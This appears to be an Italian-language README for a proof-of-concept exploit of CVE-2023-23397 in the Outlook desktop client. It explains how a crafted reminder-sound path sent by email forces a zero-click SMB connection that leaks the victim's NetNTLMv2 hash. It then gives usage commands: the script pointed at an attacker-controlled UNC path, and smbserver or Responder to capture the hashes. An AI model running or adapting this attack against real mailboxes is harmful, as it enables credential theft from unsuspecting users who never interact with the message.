trackflaw/cve-2023-23397Semplice PoC della vulnerabilità CVE-2023-23397 con payload inviato via email.
PoC semplice e rozzo della vulnerabilità CVE-2023-23397 che impatta il client desktop di Outlook.
Outlook soffre di una mancanza di controllo sull'input dell'utente che consente di configurare il suono dei promemoria di riunioni e appuntamenti. Un attaccante può infatti costringere la vittima a effettuare una connessione al proprio server senza alcuna manipolazione da parte dell'utente (vulnerabilità zero click).
Un attaccante che sfrutta questa vulnerabilità recupera un digest NetNTLMv2 basato sulla password dell'utente vittima tramite una richiesta SMB. La richiesta viene attivata non appena la mail arriva nella casella di posta in arrivo.
.msg.In una sessione :
python CVE-2023-23397.py
usage: CVE-2023-23397.py [-h] -p PATH
CVE-2023-23397.py: error: the following arguments are required: -p/--path
python CVE-2023-23397.py --path '\\yourip\'
In una seconda sessione (smbserver o responder come preferisci).
smbserver.py -smb2support SHARE .
